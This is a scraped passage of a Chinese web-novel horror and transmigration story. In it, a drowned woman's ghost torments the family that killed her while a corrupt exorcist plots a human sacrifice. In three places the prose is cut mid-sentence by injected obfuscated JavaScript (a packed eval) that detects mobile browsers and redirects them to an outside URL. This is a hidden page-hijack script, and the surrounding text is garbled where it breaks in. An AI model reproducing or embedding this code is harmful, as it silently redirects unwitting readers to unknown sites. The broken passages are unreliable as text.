屋内的潮气比走廊更重,异味更浓。 ——家里很吵,吵得他头疼,越来越吵…… 青年的话再次响起,陈姨脸色唰的一下惨白。 见她傻站着不动,高从俞烦躁地喊道:“你疯了,进门不知道敲门?!” “抱歉大少爷,我……” “算了算了,快把水给我。”高从俞心烦意乱地打断她。 他撑着身体坐起来,一条胳膊伸出薄被,上面布满了奇怪的淡紫色的印记,像齿痕又不像,比人口小上许多。 “什么东西。”高从俞伸手去搓。 他发誓,他用的力气很小,那层皮就那么被直接搓开,露出下面的肉。 血从伤口的四周往外渗,眨眼间血珠落到被子上,染红一小团。 这一幕就发生在眨眼之间,陈姨根本来不及反应。 高从俞惊恐地冲她喊:“快去拿医药箱!” 陈姨打了个寒颤,这一幕太诡异了,转身就跑。 她没有拿医药箱,而是重回自己房间收拾东西。前后不到一刻钟,拎着东西逃出了高家。 走出门时,她回头看去。 华丽的别墅上空笼着巨大的、黑沉的乌云,涌动的黑云如同一条条蠕动的黑色蛆虫。 为什么会越来越吵? 陈姨终于明白了,大概是,她终于有能力报仇了吧。 —— 高从俞等了快二十分钟不见陈姨上来,强忍怒火再次拨打对方电话。 居然不接。 “艹!”他暴躁的砸了手机,掀开被子下床。 除了这条手臂,另一条手臂和双腿……还有躯干…… 到处是这种奇怪的印子。 而且关节酸痛发胀,刺痛感从轻微变得强烈,以至于他不敢大幅度的活动。 “怎么回事,怎么回事……”高从俞忍着疼痛,慌乱的冲进卫生间。 那些印子密集的,一个挨着一个,紧紧贴在他的脸上。 有了前车之鉴,他不敢去搓,就拧开水龙头掬起一捧水泼脸。 “啊——!” 高从俞疼得惨叫一声,被水泼到的地方灼烧般的疼,脸上的印子在翕动,就像一张张小小的渴望喝水的嘴。 是那个女人在搞鬼! 肯定是她! 高从俞尿裤子似的,姿势别扭的一点点挪到外面,捡起摔烂的手机。 取出电话卡插|入备用机中,找到一个名为黄大师的号码。 黄大师刚醒,正在打哈欠,听高从俞说了身上的怪事后,困意一下子散了个干净。 “你忍着,我马上过来。” 高从俞用力握着手机,咬牙切齿地说:“她疯了,她肯定想杀了我们,不能再等了,必须今天动手!” 黄大师迟疑,今天的日子不太好。 高从俞这里没有商量的余地,“再拖下去我就死了!” 咆哮声刚落,有新的来电打进来。 他将手机从耳边拿开,一看,是疗养院的来电。 高从俞的手指在屏幕上悬停片刻,选择了接通。 “高先生,高老先生在两分钟前去世了。” 来电人是疗养院的院长,他顿了顿,补充道:“还有一件事……” 院长欲言又止。 高从俞脑子里灵光一闪,“他身上是不是也出现了奇怪的痕迹,密密麻麻遍布全身皮……” 也? 院长明白了什么,没有点破,“昨晚十二点以及今早六点,工作人员进去看望的时候,人还好好的,期间各种监测仪器也都正常,没有任何报警提示。早上七点,他还跟擦身的护工说了一句话……” “说的什么?”如果是平时,高从俞根本不会在意这种小细节。 可是眼下不同,这些小细节或许能救他的命。 “他说身体很沉,腰很痛,就像绑了一块石头。还说身上很痒,有点痛,问护工是不是有虫子在咬他……护工看了,跟他说没有,高老先生便说自己很累,让护工先出去,想再安静睡会儿。当我们听到心电监测仪的报警声赶到时,高老先生身上就出现了您说的那种痕迹……我们给你打了电话,但提示不在服务区……” 高从俞没听到过手机响,给陈姨打电话的时候,也没看到未接提示。 自从女人死后,家里就开始闹鬼。 开始还能归结到高从霭身上,随着怪事频发,他们不得不面对闹鬼的事实。 不是没请过人来解决,短暂压制一段时间后,怪事固态萌发。也不是没想过逃跑,但他们是“一家人”,她不容许这个家缺少任何一个。 三年前开始,家里断断续续出现哭泣声,经常在半夜把他吓醒。 高从俞搬离别墅的第二天,司机请假了,正午时分他独自开车前往饭局。 快到的时候,一滴水砸到他身上。 抬头一看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421651|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,皮革的车顶下有东西在动,逐渐形成一张令他熟悉又恐惧的脸。 这么多年以来,他第一次见到梁小姐。 那张脸挣开皮革的束缚,凑到他面前,用浮肿冰冷的双手掐住他的脖子。 质问他:“你爸爸说我们是一家人,你为什么要搬走?一家人必须住在一起……” 他拼了命的挣扎,过程中碰到了方向盘,只听见“砰”的一声,眼前天旋地转,连疼痛都没感觉到,人就失去了意识。 再醒来,他的双腿废了,肋骨断了两根,全身多出软组织挫伤。 直到现在,高从俞仍旧清晰记得那种濒死的感觉。 他累了,怕了,被迫回到别墅居住。 这三年时不时就听见高跟鞋的声音,偶尔洗漱,耳边会突然传来“哗啦”一声,就像有人在水里扑腾。 “高先生?高先生?您还在听吗?”院长在听筒那头喊道。 “我在听。”高从俞开口,发现自己的嗓音在发抖。 院长接着讲述当时的情景,“人被推进抢救室后,我们竭力抢救,期间……期间他一直喊疼,他身上每个有印子的地方都裂成了口子,变成……变成了鱼嘴……” 想起那一幕的院长背脊发凉。 翕动的小嘴不停蠕动,就像在吸食高彦和的血肉和骨髓。 恰好副院长是个钓鱼爱好者,当场就问:“你们看,那些像不像鱼嘴!” 整得在场所有人,都对鱼有了心里阴影。 连忙通知食堂,把中午的红烧鱼撤掉。 高从俞怔怔地挂了电话,摸了摸腰后,没有院长说的沉重感,吁了口气。 高格集团是高彦和的一言堂,这些年因为有父亲压着,他只能当个有名无实的代理董事长兼总裁。 去年夏天,也是暴雨夜,高彦和从楼梯上摔下来晕死过去。 醒来后身体机能迅速下降,走几步路就颤巍巍的,便被送进了疗养院。 那天起,集团的权利才算真正移交到他手里。 呼风唤雨的人生刚开始,不能就这样结束。 这一念头的出现,甚至战胜了身体上的疼痛,他动作迟缓的披上睡袍,坐在床边等待黄大师的到来。 一个半小时后,黄大师抵达别墅区。 与之前的欣欣向荣,春意盎然不同,眼下的别墅区阴云笼罩,绿色的植物染上了死气,蔫哒哒的。 门口保安打了个哈欠,揉着睡肿的眼睛看清来人,“黄先生,好久不见。” 这位是高家贵宾。 高家特意打过招呼,任何时候黄大师前来不准怠慢。 黄大师点头示意,把车开进去。 路过那片人工湖的时候,他放慢车速看过去,湖面光洁如镜,周围的草木一动不动宛如假的。 事情比他想象的更糟,难怪高从俞那么急。 黄大师把车停在高家别墅外,用高从俞提供的密码进门,潮湿的空气糊住他的口鼻,令人呼吸不畅。 路过二楼的时候他停了一下,看向高从霭的房间,走廊那头无声无息,宛如被隔绝的另一个世界。 黄大师皱了皱眉,来到三楼高从俞的房间。 一看到那张脸,他暗自惊讶。 邪气入体,再拖下去就晚了。 高从俞看到了救星,眼眶湿润,黄大师面上平平,端着架子蹙眉道:“先收一收你的情绪,恐惧和慌乱只会让邪祟有可乘之机。” 等待的这一个半小时中,高从霭派人去疗养院处理父亲的后事,并拍了照片。 高彦和的皮肤在搬动过程中破了,流出混合着血液的奇怪液体。 又臭又腥,跟他之前擦破那处泄露出的味道很相似。 只要一想到自己死后,也会变得像父亲那样恶心,他根本无法调动往日里引以为傲的自控力,满脑子都是父亲那具溃烂的身体。 一个个小口子最外面的表皮都不见了,里面的肉有许多细小的坑洼。 他又想起了院长的描述——鱼嘴。 会吃人肉的鱼嘴。 高从俞浑身冷汗,下意识看向自己的胳膊,那些像“嘴巴”的东西,好像在动…… 29.大哥,收手吧 “高先生,高先生。” 黄大师连喊几声高从俞都没反应,伸手去拍他的后背。 高从俞“啊”了一声,还以为是鬼在拍自己,心脏差点从嗓子眼蹦出来。 他声音虚得厉害,“大师,眼下我该怎么办,我爸死了……死得很惨……” 末法时代鬼怪难寻,在高家找来之前,黄大师有快十年没见过厉鬼了,遇到的大部分是游魂。 为了保证优渥的生活,他网上卖符,线下做点法事。 但来前最快最多的,是替人施邪术。 高家是他最大的客户。 第一次来,高家人没说实话,他们告诉黄大师,梁小姐是自己想不开跳的湖。 可自杀的人哪有那么大的怨气和戾气,恨不得生吞高家父子。 就算真是自鲨,也一定是被逼的。 这中间的隐情弄不清楚,事情自然无法完美解决,在他的连番追问和讲明利害关系后,父子俩说了实话。 人是他们亲手弄死的。 梁小姐意外听到高彦和违法犯罪的勾当,高彦和对她起了杀心。 经过内心的反复拉扯,高彦和在某天夜里,偷偷往梁小姐的水里放了药。 等人昏睡后,他背着人往楼下去。 自第一次生出灭口的念头,高彦和就让管家通知住家佣人,说主人家年纪大了喜静,入夜后只留一个人在别墅就行,其余人要么回家,要么留宿在别墅后的小楼中。 留下这人便是当时的管家。 管家是个人精,入夜后就发现了高彦和不对劲,不问也不说。 听到外面的动静犹豫了下,假装没听到。 高彦和常年稳坐办公室,疏于锻炼,要背一个昏睡的成年女人有些吃力,每一步都像是脚上绑着沙袋在走。 路过花园时,还踩到一颗小石子险些摔倒。 是突然生出的另一股力量,撑住了他。 扭头一看,是大儿子高从俞。 不到十岁的高从俞眼神暗沉沉的,仿佛能看穿一切。 他说:“爸爸,我可以帮你。” 他们是一样的人——高彦和清晰意识到。 不愧是我儿子,和高从霭那只养不熟的阴沟里的老鼠就是不一样。 高从俞的个子不够高,负责搬动脚那头,跟父亲一起半拖半拽的把人挪到人工湖。 附近的监控早就被切断了,又是暴雨夜,没有人发现。 把人扔下去前,高从俞忽然说:“爸爸,梁阿姨会不会浮起来?” 高彦和早有准备,从旁边半人高的花丛中搬出一颗石头,和一小捆麻绳,将它们系在梁小姐的腰上。 雨声太大,轰隆的雷鸣覆盖世间的一切。 父子俩看着尸体下沉,直至湖面恢复平静,余下雨点砸出的一圈圈涟漪。 三天后,高彦和报警声称梁小姐失踪。 一周后,同样是个暴雨夜,保安巡逻发现湖面飘着一块布。 举起手电凑近一照,是件女性衣服。 高彦和听到的消息的时候,险些心梗发作,在书房镇定片刻,打给与自己保持联络的警员。 告诉对方,他怀疑湖里的人是自己失踪的爱人。 那天的雨势比杀人夜的还大,面对面说话都听不清。 高彦和、小区保安队和物业、警方、看热闹的住户……打着雨伞站在黑夜中等待打捞。 尸体露出水面的那一刻,高彦和的身体打了个晃,好在有管家在他身后撑着。 反倒是高从俞,小小年纪没有露出太多胆怯。 不知是装的,还是真的不害怕。 后来,警方在高家梁小姐的卧室书桌里,发现了她生前写好的遗属,没多久就以自杀结案了。 —— 说出真相之前,黄大师与高彦和达成协议,高家每年向他支付高额的顾问费。 而他,负责镇压厉鬼。 没想到的是,梁小姐的阴气越来越重,邪气日益增加,凭黄大师的能力只能短暂压制。 每隔半年,他需要来一次高家净宅。 五年前开始,净宅的次数增加到每三个月一次,随后是两个月。 高从俞出事之前,已经变成每月一次。 从前只有高从霭才能看到的梁小姐,后来变成高彦和与高从俞也能看到了。 有时候,高彦和半夜惊醒,发现身边躺着一具冰冷的尸体。 有时候他被梦魇住醒不来,清醒后身上遍布淤青。 高从俞的情况也没好到哪去,时常听到房间门外有脚步声,每当他欺负过高从霭,噔噔噔的高跟鞋声会穿过房门,来到他面前…… 情况愈演愈烈,家里有病的不只是高从霭,就连其他两名高家人,也快成精神病了。 今天的路上,黄大师其实有些迟疑。 高家的东西俨然不是他能撼动的,又舍不得顾问费。 还是努力试试吧,万一成了钱就到了手。 万一不成,拔腿就跑。 “我先替你驱邪。”黄大师打开随身的大挎包,从里面掏出之前两张驱邪符。 黄纸在碗里烧成灰烬,兑了水被高从俞喝净。 暖流顺着食道落入胃中,高从俞明显感觉身上的寒意被驱散,酸痛的四肢找回了点力气。 又过了会儿,他走动两步,仿佛刚从浑浊之地踏入正常世界,说不出的轻松。 “多谢黄大师。”他郑重的道谢。 “我应该做的。”黄大师摆摆手,面色严肃下来,“二楼的气场和一楼、三楼不一样。” “好哇,我就知道,无缘无故怎么会闹这么严重,原来是那小子在搞鬼!” “他没那个能耐。”黄大师道,“是厉鬼还留有一丝人性,不想伤害他罢了。” 可再拖下去,高家就垮了。 尤其是高彦和的死还影响到高家的气运。 黄大师之前想的是能拖就拖,走到眼下这一步,怪不得他。 但有些话,不能他说出口,否则就是教唆鲨人。 高从俞眯了下眼睛,没有立刻说话,而是沉默地进卫生间洗漱。 洗漱干净后,他操控轮椅进了衣帽间,同往常一样将收拾得干净整洁。 系上最后一颗袖扣,高从俞抬头对黄大师说:“我认为我们的计划,可以变一变。” 父亲死得突然,没有提前留下遗嘱。 万一高从霭要和自己争,他怎么也得割一块肉出去。 “不如让两人一起死?”高从俞抚了抚衣服上的褶皱,抬头,嘴唇勾出弧度,“计划又得变了,先让女鬼上徐晓哲的身,再想办法让他发疯弄死高从霭……” 接着在按照原计划,献祭当替身,平息女鬼的怨气。 一石二鸟。 黄大师看着高从俞带笑的脸,心里打了个寒噤。 第一次见到高从俞,他就知道这个人的心是凉的。先是冷静的帮父亲害人,撞鬼后经历了短暂的恐惧,他又迅速接受现实。 与其说拿对方当鬼,不如说是当成憎恶的仇人。 高从俞怕鬼,但更怕死。 车祸过后这种冷静更是达到了极致,知道可以找人献祭当替身后,这一年来他一直在物色合适人选。 也是运气好,赶在厉鬼彻底失控前找到了。 黄大师右手手指搓了搓,“牵扯到人命,是另外的价。” 高从俞来到保险柜前,取出支票本写了一张,“够吗?” 黄大师见好就收,“够了够了!” 几个零看着就喜庆,他乐呵呵的接过,小心夹入背包里的笔记本。 看似和善的面容上,双眼浑浊不堪,满是邪气和贪婪。 就连他自己都没发现,接过支票的那一刻,印堂上隐隐散发黑气。 楼下。 李株刚从睡梦中醒来,眼前一片漆黑,昨晚睡着睡着脑袋蒙进了被子里。 他眨了眨眼,鼻尖顶住的胸膛白皙,散发着阵阵体温。 感觉到什么不同寻常的东西,李株冷汗直冒,双手抵着高从霭的胸膛往后蹭。 高从霭早就醒了,舍不得起床。 他佯装睡眼稀松,打了个哈欠,茫然地看着李株:“怎么了?” “东西收一收,碰到我了。”李株脸上燥热。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436624|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 尴尬,第一次碰到别人家的。 “哦。”高从霭应了一声,没动。 李株继续往后蹭,彻底脱离高从霭范围后,大大松了口气。 这才发现,房间中的氛围和谐,仿佛闹鬼是一场臆想。 他搓了搓脸,逃进卫生间。 望着镜子里那张通红的脸,李株蹙起眉头,“统哥,我不是喝了黄色饮料,摒弃一切情绪了吗?不该尴尬啊。” 最不应该的是害羞。 明明他也有,碰到就碰到呗。 “功效可持续24小时,不代表这期间一直保持最强功效,随着时间增加,效果逐渐降低才是正常逻辑。” “好吧。”李株舔了下嘴唇,发现镜子里的自己难以描述。 有点像发春了…… 哗啦的水声响起,李株弯下腰用冷水洗脸。 再抬头,脸上的热度下去不少。 外面传来窸窸窣窣的声音,李株抬头一看,高从霭懒洋洋的下床,光着站在窗前伸懒腰。 伤风败俗!不堪入目! 他连忙缩回脑袋,顿了顿,又探出头去。 高从霭伸展的后背中间有条笔直的脊沟,下方嵌着两枚腰窝。 男人看了羡慕,女人看了喜欢,李株两者都占。 他仰头回忆现实世界中的自己,瘦弱苍白,上班吸干了他的全部阳气。 哎,人比人,气死人。 李株低头摸摸身上的腹肌,他要求不高,等回去了能练成原主这样就行。 高从霭穿好衣服,是普通的T恤配浅蓝色牛仔裤,正站在窗前往下看。 保镖比之前多了不少,刚从安保公司调过来的。 他耳朵动了一下,气压有点低,眼球转向房间一角。 那个角落在书柜旁边,本就被阴影覆盖,仔细看就会发现,那团阴影在亢奋地扭动,化出一张浮肿的、青白色的脸。 她的嘴巴翕动,又在说“好饿”,漆黑的眼球抽搐几下,突然扑到高从霭面前。 卫生间中,李株突然浑身一冷。 意识到什么,扔下牙刷冲出去,高从霭躺在地上,而他身上趴着一个身体浮肿的女鬼。 大面积的水从她身上淌下来,黑色的头发爬上高从霭的四肢和脖子,不断地勒紧。 高从霭的皮肤被勒破,血水流进他身下的水中,化作丝丝缕缕的血丝散开。 “高从霭!”李株去拉扯那些头发。 “别动。”高从霭从嗓子里挤出一句话,“很快就好。” 李株听出来了,这不是梁女士第一次失控到忘记高从霭的身份。 但这一次,俨然和之前不同。 高从霭的血染红了水滩,而梁女士的面部变得更加狰狞。 她龇牙,眼球因为太过突出,其中一只掉出眼眶,砸到高从霭的脸,再滚落到地上。 那只眼球动了动,滚到李株的脚尖前。 李株也不知道自己怎么想的,弯腰捡起跑了出去。 正巧撞见进门的保镖。 李株愣了下,意识到高从俞要动手了。 他无权无势,逃是逃不掉的,只好办法是硬碰硬再反杀。 目前能利用的,除了神志不清的梁小姐,只剩下一个坑爹的小推车外挂。 以及手里这颗眼珠子。 他盯着还算镇定的和那颗眼球对视,“你会保护他的,对吧。” 眼珠子在半空画出抛物线,正巧落到保镖队长面前。 他没仔细看,以为是什么黑色的弹力小球,抬头继续命令其他人,“把所有出口堵死,先把两人抓起来。” 往前走的时候,鞋底压过那颗奇怪的珠子,发出吧唧一声响。 保镖队长愣了下,下意识抬脚看鞋底。 一团湿哒哒的东西黏在上面,往四周扩散。 “你看到我的眼睛了吗?”耳边被人吹了口气,不是属于活人的热,而是凉丝丝的。 队长猛地转身,“谁在我耳边说话!” 下属们已经遵从命令,堵门的堵门,抓人的抓人,都不在跟前。 那刚刚是谁在出声? 30.大哥,收手吧 队长在地板上蹭了蹭,脚掌隔着鞋底感受到一片滑腻。 他走了两步,一团湿冷扑到背上,冻得他打了个哆嗦。 反手一摸,手上全是散发着臭味的不知名液体。 贴在身上的紧身T恤被湿透,而身后空荡一片。别说是泼水的人,就是只苍蝇也没有。 “怎么感觉,今天的别墅不大对劲……” 高家人从上到下神秘秘的,兄弟几个凑在一起讲鬼故事时,还玩笑称高家是不是被鬼盯上了。 否则怎么一个出车祸,一个年纪一大把突然高烧不退,没病没痛却日渐消瘦,就连医生也查不出问题? 想起当时高彦和抗拒去医院的场景,队长的动作忽然一顿。 高彦和病重那日,他和另两个同事都在,当时家庭医生守在床边劝说他去医院,高彦和死活不愿意。 眼睛一直盯着斜对着床的角落,嘴巴动了动,声音堵在嗓子里发不出来。 队长不自觉的细想,是巧合吗?还是说那地方真的有东西…… “队长!” 耳边炸开一声叫喊,保镖队长回神看过去,是派出去的下属。 “什么事,不是让你们去抓人?” “人已经抓到了。”下属迟疑地问,“队长,你没事吧?” “我没事。”像是为了说服自己,他又重复了一句,“我挺好的,倒是你们,动作这么快?” 保镖也很疑惑,“他们俩挺配合,没有任何反抗。” 保镖队长亲自上去看了。 卧室里,李株正抱着牛奶吨吨吨地往嘴里灌,而高从霭撑着下巴,用欣赏的目光看着对面青年。 李株喝了几大口牛奶,不太满足地问门口的保镖,“还是很饿,能帮我去热点昨天陈姨做的包子吗?” “你小子有完没完!”知道高从俞要收拾这两人,保镖也不拿他们当主人,语气充满了不耐烦。 李株:“饿死了你负责?” “谁他妈饿一饿能死。”保镖嗤笑,“你饿死一个给我看看。” 李株张嘴就来,“我低血糖超严重。” 严重低血糖倘若得不到及时处理和救治,的确可能猝死,保镖不敢赌这个可能性,忍着怒气转身,恰好撞见门口的队长。 队长看着屋内两人,皱了下眉。 明知道有危险却不反抗,这不正常。 “把人看紧,我去找高先生。” 三楼书房内,高从俞坐在办公桌另一边,而黄大师坐在属于主人的老板椅上。 他正在列采购清单,为正午的法事做准备。 听到声响,高从俞开口:“进来。” 队长进门,恭恭敬敬地来到他面前,“高先生,人控制住了,就是有点反常,小高先生还好说,他本就情绪不外露,可另一个叫徐晓哲的小子也很镇定,在这种明显被软禁的状态下,居然不慌不忙。先生,他们会不会早有防范?” “有没有都不重要,只要人在别墅就行。”高从俞不屑的压了下嘴角。 他不认为这两人能翻出风浪。 队长点点头。 “好了。”黄大师抖了抖纸,递给高从俞,“一定要在正午前采购回来,东西不能有任何纰漏。” 高从俞接过,交给保镖队长,“马上去。” 队长低头一看,愣了下。 黄纸、纸钱、黑狗血……红棉线…… 这都是些啥啊? “有问题吗?”高从俞冷声质问。 队长抬头,被那双眼睛里阴鸷的情绪慑住,生出几分恐惧,“没问题,我马上去办。” 他刚转身走了两步,黄大师突然站起来,“站住!你鞋底是什么?!” 队长低头一看,不只是鞋底滑腻腻的,就连鞋面上也沾到了奇怪的东西。 他甩了甩脚,几滴液体飞出去,落到厚实的地毯上和墙壁上。 “对不起高先生,我马上清理干净。”队长胆战心惊地致歉,却见高从俞突然变了脸色。 落了水滴的地毯上,洇湿的小圆点迅速扩大,不过两个眨眼的工夫,竟然形成了一张脸! “呜呜呜,呜呜……” 哭声自地面传出,充斥着房间的每个角落。 黄大师千算万算,没算到女鬼会凶到这种地步,大白天就敢吓人。 “高先生,站到我身后。”他取出两串铜钱,横竖绑在一起,红绳一紧便成了铜钱剑。 高从俞第一次见到这种阵仗,心里多了几分把握。 “大师小心。” 一旁的保镖队长过于惊恐,忘了反应,身后的下属先喊出声来,“什么情况,那张脸……有鬼,有鬼啊!” 闻声赶来的其他保镖也看见了,有人“啊”了一声,惊恐喊道:“队长,你背上!” 保镖队长扭头想看后背,角度原因,只能看到背上缓慢膨胀突起的轮廓。 他慌忙脱掉衣服扔到地上,这才看清,衣服里蒙着一张脸。 书房除了地毯,甩飞出去的其他几滴水也晕染成女人的面孔。 轮廓圆得诡异,泛出泛着青的苍白。 一张张泡到发胀的脸,嵌在墙上、柜子上、地毯上,以及那件落在地板的T恤上。 “鬼,真是有鬼……” 门口的保镖喃喃出声,拔腿就跑。 黄大师眉毛一竖,取出两张现成黄符引燃。 符火被抛出去,分别落向两张鬼脸。 眼看着就要挨上,鬼脸陡然消失,与另外两张分别挤在一起,变成了两倍大小! 黄大师的脸色肉眼可见的黑下来,怎么回事? 高从俞的心开始打鼓,“黄大师,您真的有把握吗?” “闭嘴!”他双手握紧剑柄,利落干脆地插|进鬼脸正中。 噗嗤一声,膨胀的鬼脸像气球一样快速干瘪,液体顺着剑口渗出,渗出,渗出…… “大师,它怎么流不尽!”高从俞再也无法维持平日里的假面具。 害怕的操控轮椅往后退。 液体流淌如大江大河,源源不断的水很快打湿整个书房。 门口的保镖们的视线,顺着那些漫延而来的液体由远及近,最终停在门口。 视野中是数不清的黑色鱼嘴。 这一幕吓傻了所有人,他们争先恐后地往外跑,直到跑出别墅才发现,这一带的天空一片暗沉。 望着那些翻滚的黑云,保镖队长恍然明白了什么。 高从俞叫他们过来根本不是为了看住试图逃跑的弟弟,至于真实原因,他毫无探究的欲|望,只想马上离开这个是非之地。 “走,这地方太邪门了。” 钱重要,命更重要。 “砰”—— 方才冲出来的那扇大门,自动关闭。 “队长,刚刚门口是不是有个人?” “我也看见了,好像是个女人。” “可能是陈姨……不对,咱们来的时候陈姨根本不在……” 不管关门的是谁,人也好,鬼也罢,都与他们无关了。 —— 脚下的水越积越多,漫上了脚踝。 黄大师的裤腿几乎湿透,怎么也想不通,自己的符纸和铜钱剑为什么会失灵。 是对方太厉害了吗? 可在这之前,他一直镇压得好好的。 是什么让她变强大了? 事情不大妙,黄大师沉着脸,挎上包就跑。 敞开的书房门在他即将跨出的那一刻,突然合上,将他给拍到了走廊墙上。 同时也将高从俞关到了书房里。 墙上的墙纸开始剥落,露出下方白色的,被浸泡过的腻子。 大片霉斑从白腻子下凸显出来,簌簌掉进水里。 高从俞操控轮椅来到门口拍门:“黄大师!黄大师!黄大师救我!” 黄大师也没好到哪儿去。 刚刚那一下力道不小,毫无防备的他正面撞上墙,鼻血流过人中,悬挂在上唇边缘。 最要命的是,水里有东西在隔着裤腿咬他。 目光所及的地方全是水,而水里遍布着拇指腹大小的鱼嘴,正试图啃穿他的裤腿和袜子。 “艹!”黄大师咒骂一声。 提着剑冲到一楼,所有的出口都不见了。 他不信邪的按照记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441870|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忆来到大门口,掌心触摸过的地方是光洁湿冷的墙壁。 那东西不想让他离开。 黄大师深吸一口气来到二楼,这里的情况与三楼竟然一样。 而高从霭的房间大门敞开,仿佛无声的欢迎。 黄大师意识到,不解决掉厉鬼,谁都别想走。 “高从霭,是你在搞鬼!” 黄大师的铜钱剑指向高从霭,对方正帮李株拿着一个包子,等他先吃完手里的。 他侧目看了一眼门口,嘴角的笑意浅淡。 黄大师的瞳孔却紧缩起来,那只作恶的女鬼,就站在高从霭的身后,一人一鬼的表情几乎一模一样! 难怪女鬼的力量变强了,是高从霭与她达成了什么交易…… “你做了什么!你知不知道与鬼为伍,会害死你自己和身边人!” “我什么也没做。”高从霭道,“只是喂她喝了我的血。” 从精神病院回来,为了堵住梁女士喋喋不休喊饿的嘴,他几乎每天都会给她喂点自己的血。 每次喝完,梁女士要安静许多。 可惜鬼的胃口是喂不饱的,不管是给她食物还是鲜血,她只会越来越贪婪。 就像高从俞一样。 高彦和突然死亡,下一步就是遗产分割,即便他放弃分割,按照高从俞的性格也一定会斩草除根。 今天这一出,不只是针对徐晓哲,恐怕也针对他。 高从霭:“你来高家,不只是为了抓鬼吧。” 想杀的人就在眼前,黄大师心虚别开眼睛,但很快又将眼眸转回来。 “那你疼不疼啊,是用针管抽血喂,还是在胳膊上割开一条口子?”不合时宜的关切语气,令高从霭一怔。 低头看去,李株因为咀嚼两腮鼓鼓的,目光在他手臂上梭巡,似乎在找伤口。 “抽血。”高从霭看了眼墙角的小冰箱。 李株顺势看过去,懂了,抽好了放冰箱冷藏定期投喂。 难怪看到梁小姐吃生鸡能面不改色,原来是有更离谱的操作。 是个狠人。 黄大师被两人搞蒙了,“徐晓哲,你怎么不害怕?他已经彻底疯了,你过来,我能保护你。” 李株上下打量他,“是你给高从俞算命说,我适合当替死鬼的?” 两人越镇定,就衬得自己的警惕有多好笑,黄大师眯了眯眼,答非所问,“鬼失了神志又沾了血腥,势必要大开杀戒,只有我能帮你。” “帮你大爷。”李株将手里咬了一半的包子扔过去。 正中黄大师狗头。 黄大师捂着沾了猪油的额头,沉下脸来,“敬酒不吃吃罚酒。” 手里有生辰八字,人不过来他照样有办法。 黄大师取出一个木头小人,原主这具身体视力极佳,李株一眼看清上面写着“徐晓哲”三个字。 “以木为形,听吾号令,生杀予夺皆由吾定!” 黄大师念咒时取出一根银针,果断插|入木头小人的额头。 下一秒,李株额头泛起尖锐的刺痛。 刺痛以眉心为圆点朝四周扩散,包裹住他整个脑袋,不知名的力量宛如两只怪手,恨不得将他的脑袋从中掰开。 高从霭抢下木头人,另只手掐住黄大师的脖子,“你做了什么!” 黄大师咧嘴笑,“我有他的生辰八字,他的生死自然由我决定。” 李株疼得跪到水里,慌乱的呼叫系统:“我不是痛觉失灵吗,为什么会这么疼!统哥你快想想办法!” 365:“这种痛苦不是基于身体,而是灵魂。” 李株强调:“我不是原主。” “可你用了他的身体。”365道,“灵魂不同,但寄生的是同一个躯壳,多少会对你有影响。” 李株的重点在最后一句。 多少会有影响,不是一定有影响,更不是有绝对影响。 “小推车里的东西能克制吗?”他问。 365:“可以试试,不过你只剩10个积分了。” 想起昨晚一瓶黄色饮料88,自己没捞到多少好处,便宜全让高从霭占了,李株的心在滴血。 31.大哥,收手吧 小推车里有三种产品,瓜子、饮料、矿泉水。 矿泉水主打平和心态,饮料的作用是控制和激发情绪,与身体有关的只有嗑嗑更健康的瓜子。 想来想去,只有嗑瓜子看上去有用一点。 李株幻想了下,那位不知道从哪儿来的大师在疯狂作法,而自己在一旁不痛不痒的嗑瓜子…… 好,很好。 特别好。 李株抠抠搜搜,不敢再浪了,“一个积分的瓜子,谢谢,放我兜里。” 裤兜扯沉甸甸的,估摸只有一小把。 “高从霭……”李株的声音幽魂似的,祈求地呼唤,“你快过来。” 高从霭立刻松开黄大师,手却拿走了木头小人。 黄大师冷笑,手中掐诀,“魂入傀儡,听我号令!” 那股试图掰开李株脑袋的力量深入到体内,灌入四肢,李株明显感觉双腿不受控制,试图往邪道那边移动。 不管是在现实世界,还是经历过的快穿小世界,李株第一次遇到玄学。 免不了有几分恐慌。 好在饮料功效还在,他情绪没崩,表情痛苦但不胆怯。 “你怎么样?”高从霭的眼里起了杀意,脑子里迅速思索该如何在杀掉人后,带着青年全身而退。 “我没事。”李株咬着牙关说,“我兜里有瓜子,你剥开喂我嘴里。” 高从霭以为自己听错了,“什么?” “瓜子,我要嗑瓜子。”李株疼得五官皱到一起,左脚完全不听使唤地往前迈出小半步。 黄大师的脸色难看,“你在藐视我吗!” 李株连个眼皮都没抬一下,一个劲儿的用眼神催促男人。 高从霭抿了下唇,手伸进青年的右侧裤兜里。 